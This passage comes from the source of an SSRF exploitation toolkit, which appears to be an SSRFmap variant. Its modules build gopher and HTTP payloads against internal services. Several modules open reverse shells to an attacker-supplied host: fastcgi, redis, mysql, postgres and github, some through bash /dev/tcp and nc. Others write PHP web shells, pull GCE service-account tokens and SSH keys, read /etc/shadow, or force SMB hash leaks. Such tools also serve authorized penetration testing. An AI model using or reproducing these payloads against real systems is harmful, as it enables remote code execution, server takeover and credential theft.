22 | for ip in gen_host:
23 |
24 | # Step 1 - Extract id and name from each container
25 | data = "containers/json"
26 | payload = wrapper_http(data, ip, port)
27 | r = requester.do_request(args.param, payload)
28 |
29 | if r.json:
30 | for container in r.json():
31 | container_id = container['Id']
32 | container_name = container['Names'][0].replace('/','')
33 | container_command = container['Command']
34 |
35 | logging.info("Found docker container")
36 | logging.info(f"\033[32mId\033[0m : {container_id}")
37 | logging.info(f"\033[32mName\033[0m : {container_name}")
38 | logging.info(f"\033[32mCommand\033[0m : {container_command}\n")
39 |
40 | # Step 2 - Extract id and name from each image
41 | data = "images/json"
42 | payload = wrapper_http(data, ip, port)
43 | r = requester.do_request(args.param, payload)
44 |
45 | if r.json:
46 | images = {}
47 | for index, container in enumerate(r.json()):
48 | container_id = container['Id']
49 | container_name = container['RepoTags'][0].replace('/','')
50 |
51 | logging.info(f"Found docker image n°{index}")
52 | logging.info(f"\033[32mId\033[0m : {container_id}")
53 | logging.info(f"\033[32mName\033[0m : {container_name}\n")
54 | images[container_name] = container_id
--------------------------------------------------------------------------------
/modules/fastcgi.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 |
4 | name = "fastcgi"
5 | description = "FastCGI RCE"
6 | author = "errorfiathck"
7 | documentation = []
8 |
9 | class exploit():
10 | SERVER_HOST = "127.0.0.1"
11 | SERVER_PORT = "4242"
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 |
16 | # Handle args for reverse shell
17 | if args.lhost == None: self.SERVER_HOST = input("Server Host:")
18 | else: self.SERVER_HOST = args.lhost
19 |
20 | if args.lport == None: self.SERVER_PORT = input("Server Port:")
21 | else: self.SERVER_PORT = args.lport
22 |
23 | # Using a generator to create the host list
24 | # Edit the following ip if you need to target something else
25 | gen_host = gen_ip_list("127.0.0.1", args.level)
26 | for ip in gen_host:
27 |
28 | # Data and port for the service
29 | port = "9000"
30 | data = "%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/SERVER_HOST/SERVER_PORT%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00"
31 | payload = wrapper_gopher(data, ip , port)
32 |
33 | # Handle args for reverse shell
34 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
35 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
36 |
37 | # Send the payload
38 | r = requester.do_request(args.param, payload)
--------------------------------------------------------------------------------
/modules/gce.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import os
4 |
5 | name = "gce"
6 | description = "Access sensitive data from GCE"
7 | author = "mrtc0"
8 | documentation = [
9 | "https://cloud.google.com/compute/docs/storing-retrieving-metadata",
10 | "https://hackerone.com/reports/341876",
11 | "https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/"
12 | ]
13 |
14 | class exploit():
15 | endpoints = set()
16 |
17 | def __init__(self, requester, args):
18 | logging.info(f"Module '{name}' launched !")
19 | self.add_endpoints()
20 |
21 | r = requester.do_request(args.param, "")
22 | if r != None:
23 | default = r.text
24 |
25 | # Create directory to store files
26 | directory = requester.host
27 | # Replace : with _ for window folder name safe
28 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
29 | directory = directory.replace(':','_')
30 | if not os.path.exists(directory):
31 | os.makedirs(directory)
32 |
33 | for endpoint in self.endpoints:
34 | payload = wrapper_http(endpoint[1], endpoint[0] , "80")
35 | r = requester.do_request(args.param, payload)
36 | diff = diff_text(r.text, default)
37 | if diff != "":
38 |
39 | # Display diff between default and ssrf request
40 | logging.info(f"\033[32mReading file\033[0m : {payload}")
41 | print(diff)
42 |
43 | # Write diff to a file
44 | filename = endpoint[1].split('/')[-1]
45 | if filename == "":
46 | filename = endpoint[1].split('/')[-2:-1][0]
47 |
48 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
49 | with open(directory + "/" + filename, 'w') as f:
50 | f.write(diff)
51 |
52 |
53 | def add_endpoints(self):
54 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") )
55 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") )
56 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/kube-env?alt=json") )
57 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json") )
58 |
59 |
60 |
--------------------------------------------------------------------------------
/modules/github.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import urllib.parse
3 | import logging
4 |
5 | name = "github"
6 | description = "Github Enterprise RCE < 2.8.7"
7 | author = "Orange"
8 | documentation = [
9 | "https://www.exploit-db.com/exploits/42392/",
10 | "https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html"
11 | ]
12 |
13 | class exploit():
14 |
15 | def __init__(self, requester, args):
16 | logging.info(f"Module '{name}' launched !")
17 |
18 | # Data for the service
19 | ip = "0"
20 | port = "8000"
21 | data = "composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/"
22 |
23 | cmd = "id | nc SERVER_HOST SERVER_PORT"
24 | # cmd = "nc SERVER_HOST SERVER_PORT -e /bin/sh"
25 | marshal_code = f'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`{cmd}`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'
26 | payload = [
27 | '',
28 | 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
29 | marshal_code,
30 | '',
31 | ''
32 | ]
33 | payload = map(urllib.parse.quote, payload)
34 | payload = wrapper_http(data+'%0D%0A'.join(payload), ip, port)
35 |
36 | # Handle args for reverse shell
37 | if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:"))
38 | else: payload = payload.replace("SERVER_HOST", args.lhost)
39 |
40 | if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:"))
41 | else: payload = payload.replace("SERVER_PORT", args.lport)
42 |
43 |
44 | logging.info("You need to insert the WebHooks in 'https://ghe-server/:user/:repo/settings/hooks'")
45 | logging.info("Then make a request to 'https://ghe-server/search?q=ggggg&type=Repositories'")
46 | logging.info(f"Payload : {payload}")
--------------------------------------------------------------------------------
/modules/httpcollaborator.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import re
3 | import threading
4 | import logging
5 | import urllib.parse
6 |
7 | """
8 | Example:
9 | ```
10 | ~$ python3 ssrf-exploit.py -v -u url --lhost=public-ip --lport 4242 -m httpcollaborator -l http
11 | ```
12 | Use ssh/autossh to established remote tunnel between public and localhost handler if running module locally against remote target
13 | ```
14 | ~$ ssh -fN -R public-ip:4242:127.0.0.1:4242 username@public-ip
15 | ```
16 | """
17 |
18 | name = "httpcollaborator"
19 | description = "This module act like burpsuite collaborator through http protocol to detect if target parameters are prone to ssrf"
20 | author = "errorfiathck"
21 | documentation = []
22 |
23 | class Handler(threading.Thread):
24 |
25 | def __init__(self, port):
26 | threading.Thread.__init__(self)
27 | logging.info(f"Handler listening on 0.0.0.0:{port}")
28 | self.connected = False
29 | self.port = int(port)
30 |
31 | def run(self):
32 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33 | self.socket.bind(('', self.port))
34 |
35 | while True:
36 | self.socket.listen(5)
37 | self.client, address = self.socket.accept()
38 | print(f"Handler> New session from {address[0]}")
39 | self.connected = True
40 |
41 | response = self.client.recv(255)
42 | while response != b"":
43 | print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='')
44 | response = self.client.recv(255)
45 |
46 | def listen_command(self):
47 | if self.connected == True:
48 | cmd = input("Shell> $ ")
49 | if cmd == "exit":
50 | self.kill()
51 | print("BYE !")
52 | exit()
53 | self.send_command(cmd+"\n\n")
54 |
55 | def send_command(self, cmd):
56 | self.client.sendall(cmd.encode())
57 |
58 | def kill(self):
59 | self.client.close()
60 | self.socket.close()
61 |
62 |
63 | class exploit():
64 | SERVER_HOST = "127.0.0.1"
65 | SERVER_PORT = "4242"
66 |
67 | def __init__(self, requester, args):
68 | logging.info(f"Module '{name}' launched !")
69 |
70 | # Handle args for httpcollaborator
71 | if args.lhost == None: self.SERVER_HOST = input("Server Host:")
72 | else: self.SERVER_HOST = args.lhost
73 |
74 | if args.lport == None: self.SERVER_PORT = input("Server Port:")
75 | else: self.SERVER_PORT = args.lport
76 |
77 | params = args.param.split(",")
78 | for param in params:
79 | logging.info(f"Testing PARAM: {param}")
80 | payload = wrapper_http(f"?{param}", args.lhost, args.lport.strip() )
81 | r = requester.do_request(param, payload)
82 |
83 | logging.info(f"Module '{name}' finished !")
84 |
--------------------------------------------------------------------------------
/modules/memcache.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import urllib.parse
3 | import logging
4 |
5 | name = "memcache"
6 | description = "Store data inside the memcache instance"
7 | author = "errorfiathck"
8 | documentation = []
9 |
10 | class exploit():
11 | SERVICE_IP = "127.0.0.1"
12 | SERVICE_PORT = "11211"
13 | SERVICE_DATA = "\r\n"
14 |
15 | def __init__(self, requester, args):
16 | logging.info(f"Module '{name}' launched !")
17 | gen_host = gen_ip_list("127.0.0.1", args.level)
18 | payload = input("Data to store: ")
19 |
20 | self.SERVICE_DATA += f'set payloadname 0 0 {len(payload)}\r\n'
21 | self.SERVICE_DATA += f'{payload}\r\n'
22 | self.SERVICE_DATA += 'quit\r\n'
23 | self.SERVICE_DATA = urllib.parse.quote(self.SERVICE_DATA)
24 |
25 | for SERVICE_IP in gen_host:
26 | payload = wrapper_gopher(self.SERVICE_DATA, self.SERVICE_IP, self.SERVICE_PORT)
27 |
28 | if args.verbose == True:
29 | logging.info(f"Generated payload : {payload}")
30 |
31 | r = requester.do_request(args.param, payload)
32 |
33 | if args.verbose == True:
34 | logging.info("Module '{name}' ended !")
--------------------------------------------------------------------------------
/modules/mysql.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import binascii
4 |
5 | # NOTE
6 | # This exploit is a Python 3 version of the Gopherus tool
7 |
8 | name = "mysql"
9 | description = "Execute MySQL command < 8.0"
10 | author = "errorfiathck"
11 | documentation = []
12 |
13 |
14 | class exploit():
15 | user = "root"
16 | query = "SELECT database();#"
17 | reverse = "select \"& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'"
18 | dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#"
19 |
20 |
21 | def __init__(self, requester, args):
22 | logging.info(f"Module '{name}' launched !")
23 |
24 | # Encode the username for the request
25 | self.user = input("Give MySQL username: ")
26 | encode_user = binascii.hexlify( self.user.encode() )
27 | user_length = len(self.user)
28 | temp = user_length - 4
29 | length = f'{(0xa3 + temp):x}'
30 |
31 | # Authenticate to MySQL service - only work with users allowed without password
32 | dump = length+ "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
33 | dump += encode_user.decode()
34 | dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
35 | dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
36 | dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
37 |
38 | query = input("Give MySQL query to execute (reverse/dios or any SQL statement): ")
39 |
40 | # Reverse shell - writing system() in /var/www/html/shell.php
41 | if query == "reverse":
42 | self.query = self.reverse
43 | if args.lhost == None:
44 | self.query = self.query.replace("SERVER_HOST", input("Server Host:"))
45 | else:
46 | self.query = self.query.replace("SERVER_HOST", args.lhost)
47 |
48 | if args.lport == None:
49 | self.query = self.query.replace("SERVER_PORT", input("Server Port:"))
50 | else:
51 | self.query = self.query.replace("SERVER_PORT", args.lport)
52 |
53 | # Dump in one shot - extract every databases/tables/columns
54 | elif query == "dios":
55 | self.query = self.dios
56 |
57 | else:
58 | self.query = query
59 |
60 | auth = dump.replace("\n","")
61 |
62 | # For every IP generated, send the payload and extract the result
63 | gen_host = gen_ip_list("127.0.0.1", args.level)
64 | for ip in gen_host:
65 | payload = self.get_payload(self.query, auth, ip)
66 | logging.info(f"Generated payload : {payload}")
67 |
68 | r1 = requester.do_request(args.param, payload)
69 | r2 = requester.do_request(args.param, "")
70 | if r1 != None and r2!= None:
71 | diff = diff_text(r1.text, r2.text)
72 | print(diff)
73 |
74 |
75 | def encode(self, s, ip):
76 | a = [s[i:i + 2] for i in range(0, len(s), 2)]
77 | return wrapper_gopher("%"+"%".join(a), ip, "3306")
78 |
79 |
80 | def get_payload(self, query, auth, ip):
81 | if(query.strip()!=''):
82 | query = binascii.hexlify( query.encode() )
83 | query_length = f'{(int((len(query) / 2) + 1)):x}'
84 | pay1 = query_length.rjust(2,'0') + "00000003" + query.decode()
85 | final = self.encode(auth + pay1 + "0100000001", ip)
86 | return final
87 | else:
88 | return self.encode(auth, ip)
89 |
--------------------------------------------------------------------------------
/modules/networkscan.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | from datetime import datetime
3 | import sys, struct, socket
4 | import logging
5 | import concurrent.futures
6 |
7 | name = "networkscan"
8 | description = "Scan the network - HTTP Ping sweep"
9 | author = "errorfiathck"
10 | documentation = []
11 |
12 | class exploit():
13 | ips = set()
14 |
15 | def __init__(self, requester, args):
16 | logging.info(f"Module '{name}' launched !")
17 |
18 | # concurrent requests in order to limit the time
19 | self.add_range("192.168.1.0/24") # Default network
20 | self.add_range("192.168.0.0/24") # Default network
21 |
22 | # Uncomment these lines if you need to scan more networks
23 | # self.add_range("172.17.0.0/16") # Docker network
24 | # self.add_range("172.18.0.0/16") # Docker network
25 |
26 |
27 |
28 | r = requester.do_request(args.param, "")
29 | with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor:
30 | future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, "80", r): ip for ip in self.ips}
31 |
32 |
33 | def add_range(self, ip_cidr):
34 | (ip, cidr) = ip_cidr.split('/')
35 | cidr = int(cidr)
36 | host_bits = 32 - cidr
37 | i = struct.unpack('>I', socket.inet_aton(ip))[0] # note the endianness
38 | start = (i >> host_bits) << host_bits # clear the host bits
39 | end = start | ((1 << host_bits) - 1)
40 |
41 | for i in range(start, end):
42 | self.ips.add(socket.inet_ntoa(struct.pack('>I',i)))
43 |
44 |
45 | def concurrent_request(self, requester, param, host, port, compare):
46 | try:
47 | payload = wrapper_http("", host, port.strip())
48 | r = requester.do_request(param, payload)
49 |
50 | if (not "Connection refused" in r.text) and (r.text != compare.text):
51 | timer = datetime.today().time().replace(microsecond=0)
52 | print(f"\t[{timer}] Found host :{host+ ' '*40}")
53 |
54 | timer = datetime.today().time().replace(microsecond=0)
55 | except Exception as e:
56 | pass
--------------------------------------------------------------------------------
/modules/portscan.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | from datetime import datetime
3 | import logging
4 | import concurrent.futures
5 |
6 | name = "portscan"
7 | description = "Scan ports of the target"
8 | author = "errorfiathck"
9 | documentation = []
10 |
11 | class exploit():
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 | r = requester.do_request(args.param, "")
16 |
17 | load_ports = ""
18 | with open("data/ports", "r") as f:
19 | load_ports = f.readlines()
20 |
21 | gen_host = gen_ip_list("127.0.0.1", args.level)
22 | for ip in gen_host:
23 | with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor:
24 | future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, port, r): port for port in load_ports}
25 |
26 |
27 | def concurrent_request(self, requester, param, host, port, compare):
28 | try:
29 | payload = wrapper_http("", host, port.strip())
30 | r = requester.do_request(param, payload)
31 |
32 | if r != None and not "Connection refused" in r.text:
33 | timer = datetime.today().time().replace(microsecond=0)
34 | port = port.strip() + " "*20
35 |
36 | if r.text != '' and r.text != compare.text:
37 | print(f"\t[{timer}] IP:{host:12s}, Found \033[32mopen \033[0m port n°{port}")
38 | else:
39 | print(f"\t[{timer}] IP:{host:12s}, Found \033[31mfiltered\033[0m port n°{port}")
40 |
41 | timer = datetime.today().time().replace(microsecond=0)
42 | port = port.strip() + " "*20
43 | print(f"\t[{timer}] Checking port n°{port}", end='\r'),
44 |
45 | except Exception as e:
46 | print(e)
47 | timer = datetime.today().time().replace(microsecond=0)
48 | port = port.strip() + " "*20
49 | print(f"\t[{timer}] IP:{host:212}, \033[33mTimed out\033[0m port n°{port}")
50 | pass
--------------------------------------------------------------------------------
/modules/postgres.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import binascii
4 |
5 | # NOTE
6 | # This exploit is a Python 3 version of the Gopherus tool
7 |
8 | name = "postgres"
9 | description = "Execute Postgres command"
10 | author = "sengkyaut"
11 | documentation = [
12 | "https://github.com/tarunkant/Gopherus"
13 | ]
14 |
15 | class exploit():
16 | user = "postgres"
17 | database = "postgres"
18 | reverse = "COPY (SELECT '& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';"
19 | php_cmd_shell = "COPY (SELECT '') TO '/var/www/html/shell.php';"
20 |
21 | def __init__(self, requester, args):
22 | logging.info(f"Module '{name}' launched !")
23 |
24 | # Get the username, database, query
25 | self.user = input("Give Postgres username (Default postgres): ") or self.user
26 | self.database = input("Give Postgres Database name (Default postgres): ") or self.database
27 | query = input("Give Postgres query to execute (reverse or phpshell or any Postgres statement): ")
28 |
29 | # Reverse shell - writing system() in /var/www/html/shell.php
30 | if query == "reverse":
31 | self.query = self.reverse
32 | if args.lhost == None:
33 | self.query = self.query.replace("SERVER_HOST", input("Server Host:"))
34 | else:
35 | self.query = self.query.replace("SERVER_HOST", args.lhost)
36 |
37 | if args.lport == None:
38 | self.query = self.query.replace("SERVER_PORT", input("Server Port:"))
39 | else:
40 | self.query = self.query.replace("SERVER_PORT", args.lport)
41 |
42 | elif query == "phpshell":
43 | self.query = self.php_cmd_shell
44 |
45 | else:
46 | self.query = query
47 |
48 | # For every IP generated, send the payload
49 | gen_host = gen_ip_list("127.0.0.1", args.level)
50 | for ip in gen_host:
51 | payload = self.get_payload(self.query, ip)
52 | logging.info(f"Generated payload : {payload}")
53 |
54 | r = requester.do_request(args.param, payload)
55 |
56 | if query == "reverse" or query == "phpshell":
57 | logging.info(f"Please check the shell.php on the web root for confirmation.")
58 |
59 | logging.info(f"Module '{name}' ended !")
60 |
61 | def encode(self, s, ip):
62 | a = [s[i:i + 2] for i in range(0, len(s), 2)]
63 | return wrapper_gopher("%"+"%".join(a), ip, "5432")
64 |
65 | def encode_to_hex_str(self, data):
66 | return binascii.hexlify(data.encode()).decode()
67 |
68 | def get_payload(self, query, ip):
69 | if(query.strip()!=''):
70 | # Encode username, db and query
71 | encode_user = self.encode_to_hex_str(self.user)
72 | encode_db = self.encode_to_hex_str(self.database)
73 | encode_query = self.encode_to_hex_str(self.query)
74 | len_query = len(query) + 5
75 |
76 | # Construct the payload
77 | start = "000000" + self.encode_to_hex_str(chr(4+len(self.user)+8+len(self.database)+13)) + "000300"
78 | data = "00" + self.encode_to_hex_str("user") + "00" + encode_user + "00" + self.encode_to_hex_str("database") + "00" + encode_db
79 | data += "0000510000" + str(hex(len_query)[2:]).zfill(4)
80 | data += encode_query
81 | end = "005800000004"
82 |
83 | packet = start + data + end
84 | final = self.encode(packet, ip)
85 | return final
86 | else:
87 | logging.error(f"Query can't be empty")
88 | raise Exception('Postgres query empty!')
89 |
--------------------------------------------------------------------------------
/modules/readfiles.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import os
4 | from argparse import ArgumentParser
5 |
6 | name = "readfiles"
7 | description = "Read files from the target"
8 | author = "Swissky"
9 | documentation = []
10 |
11 | class exploit():
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 | self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"]
16 | self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
17 |
18 | r = requester.do_request(args.param, "")
19 |
20 | if r != None:
21 | default = r.text
22 |
23 | # Create directory to store files
24 | directory = requester.host
25 | # Replace : with _ for window folder name safe
26 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
27 | directory = directory.replace(':','_')
28 | if not os.path.exists(directory):
29 | os.makedirs(directory)
30 |
31 | for f in self.files:
32 | r = requester.do_request(args.param, wrapper_file(f))
33 | diff = diff_text(r.text, default)
34 | if diff != "":
35 |
36 | # Display diff between default and ssrf request
37 | logging.info(f"\033[32mReading file\033[0m : {f}")
38 | if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]):
39 | print("ELF binary found - not printing to stdout")
40 | else:
41 | print(diff)
42 |
43 | # Write diff to a file
44 | filename = f.replace('\\','_').replace('/','_')
45 | logging.info(f"\033[32mWriting file\033[0m : {f} to {directory + '/' + filename}")
46 | with open(directory + "/" + filename, 'w') as f:
47 | f.write(diff)
48 |
49 | else:
50 | print("Empty response")
51 |
--------------------------------------------------------------------------------
/modules/redis.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 |
4 | name = "redis"
5 | description = "Redis RCE - Crontab reverse shell"
6 | author = "errorfiathck"
7 | documentation = []
8 |
9 | class exploit():
10 | SERVER_HOST = "127.0.0.1"
11 | SERVER_PORT = "4242"
12 | SERVER_CRON = "/var/lib/redis"
13 |
14 | def __init__(self, requester, args):
15 | logging.info(f"Module '{name}' launched !")
16 |
17 | # Handle args for reverse shell
18 | if args.lhost == None: self.SERVER_HOST = input("Server Host:")
19 | else: self.SERVER_HOST = args.lhost
20 |
21 | if args.lport == None: self.SERVER_PORT = input("Server Port:")
22 | else: self.SERVER_PORT = args.lport
23 |
24 | self.SERVER_CRON = input("Server Cron (e.g:/var/spool/cron/):")
25 | self.LENGTH_PAYLOAD = 65 - len("SERVER_HOST") - len("SERVER_PORT")
26 | self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_HOST))
27 | self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_PORT))
28 |
29 | # Using a generator to create the host list
30 | # Edit the following ip if you need to target something else
31 | gen_host = gen_ip_list("127.0.0.1", args.level)
32 | for ip in gen_host:
33 |
34 | # Data and port for the service
35 | port = "6379"
36 | data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$LENGTH_PAYLOAD%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0aSERVER_CRON%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a"
37 | payload = wrapper_gopher(data, ip , port)
38 |
39 | # Handle args for reverse shell
40 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
41 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
42 | payload = payload.replace("SERVER_CRON", self.SERVER_CRON)
43 | payload = payload.replace("LENGTH_PAYLOAD", str(self.LENGTH_PAYLOAD))
44 |
45 | if args.verbose == True:
46 | logging.info(f"Generated payload : {payload}")
47 |
48 | # Send the payload
49 | r = requester.do_request(args.param, payload)
50 |
51 | if args.verbose == True:
52 | logging.info(f"Module '{name}' ended !")
53 |
54 | """
55 | TODO:
56 | This exploit only works if you have control over a cron file.
57 | Command execution via PHP file is not implemented, a simple example is the following.
58 | gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
59 | """
--------------------------------------------------------------------------------
/modules/smbhash.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 |
4 | # NOTE
5 | # Use auxiliary/server/capture/smb from Metasploit to setup a listener
6 |
7 | name = "smbhash"
8 | description = "Force an SMB authentication attempt by embedding a UNC path (\\SERVER\SHARE) "
9 | author = "Swissky"
10 | documentation = []
11 |
12 | class exploit():
13 | UNC_EXAMPLE = "\\\\192.168.1.2\\SSRFmap"
14 | UNC_IP = "192.168.1.2"
15 | UNC_FILE = "SSRFmap"
16 |
17 | def __init__(self, requester, args):
18 | logging.info(f"Module '{name}' launched !")
19 |
20 | UNC_IP = input("UNC IP (default: 192.168.1.2): ")
21 | if UNC_IP != '':
22 | self.UNC_IP = UNC_IP
23 |
24 | UNC_FILE = input("UNC File (default: SSRFmap): ")
25 | if UNC_FILE != '':
26 | self.UNC_FILE = UNC_FILE
27 |
28 | payload = wrapper_unc(self.UNC_FILE, self.UNC_IP)
29 | r = requester.do_request(args.param, payload)
30 | logging.info(f"\033[32mSending UNC Path\033[0m : {payload}")
31 |
--------------------------------------------------------------------------------
/modules/smtp.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import urllib.parse as urllib
3 | import logging
4 |
5 | name = "smtp"
6 | description = "Send a mail via SMTP"
7 | author = "errorfiathck"
8 | documentation = []
9 |
10 | class exploit():
11 | mailto = "admin@example.com"
12 | mailfrom = "errorfiathck@Gmail.com"
13 | subject = "SSRF - Got it!"
14 | msg = "SMTP exploit worked"
15 |
16 |
17 | def __init__(self, requester, args):
18 | logging.info(f"Module '{name}' launched !")
19 | self.mailto = input("[MAILTO] Give a mail (e.g: hacker@example.com): ")
20 |
21 | gen_host = gen_ip_list("127.0.0.1", args.level)
22 | for ip in gen_host:
23 | port = 25
24 | commands = [
25 | 'MAIL FROM:' + self.mailfrom,
26 | 'RCPT To:' + self.mailto,
27 | 'DATA',
28 | 'From:' + self.mailfrom,
29 | 'Subject:' + self.subject,
30 | 'Message:' + self.msg,
31 | '.',
32 | ''
33 | ]
34 |
35 | data = "%0A".join(commands)
36 | data = urllib.quote_plus(data).replace("+","%20")
37 | data = data.replace("%2F","/")
38 | data = data.replace("%25","%")
39 | data = data.replace("%3A",":")
40 | payload = wrapper_gopher(data, ip , port)
41 | logging.info("Generated payload : {}".format(payload))
42 |
43 |
44 | logging.info("Mail sent, look your inbox !")
45 | r = requester.do_request(args.param, payload)
--------------------------------------------------------------------------------
/modules/socksproxy.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import _thread
3 | import urllib.parse
4 | from urllib.request import urlopen
5 | import logging
6 | import binascii
7 |
8 | # NOTE
9 | # Due to the nature of SSRF vulnerabilities,
10 | # only one response is made from a request.
11 | # You can't get an interactive shell either..
12 |
13 | # $ cat /etc/proxychains.conf
14 | # [ProxyList]
15 | # socks4 127.0.0.1 9000
16 |
17 | name = "socksproxy"
18 | description = "SOCKS Proxy - Socks4"
19 | author = "errorfiathck"
20 | documentation = []
21 |
22 | class exploit():
23 | SOCKS = True
24 | HOST = 'localhost'
25 | PORT = 9000
26 | BUFSIZ = 4096
27 | TIMEOUT = 5
28 |
29 | def __init__(self, requester, args):
30 | logging.info(f"Module '{name}' launched !")
31 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
32 | server.bind((self.HOST, self.PORT))
33 | server.listen(2)
34 | logging.info(f"Listener ready on port {self.PORT}")
35 | try:
36 | while 1:
37 | client, addr = server.accept()
38 | _thread.start_new_thread(self.child, (client,addr,requester, args))
39 | except KeyboardInterrupt:
40 | server.close()
41 |
42 | def child(self, sock, addr, requester, args):
43 |
44 | if self.SOCKS:
45 | req = sock.recv(self.BUFSIZ)
46 | host, port, extra = self.decodesocks(req)
47 | if extra == "":
48 | dest = socket.inet_ntoa(host.encode())
49 | else:
50 | dest = extra
51 |
52 | destport, = struct.unpack("!H", port.encode())
53 | sock.send(("\x00\x5a"+port+host).encode() )
54 |
55 | data = sock.recv(self.BUFSIZ)
56 |
57 | try:
58 | encodeddata = urllib.parse.quote(data)
59 | payload = wrapper_gopher(encodeddata, dest , str(destport))
60 | r = requester.do_request(args.param, payload)
61 |
62 | if r.text != None:
63 | sock.send(r.text.encode())
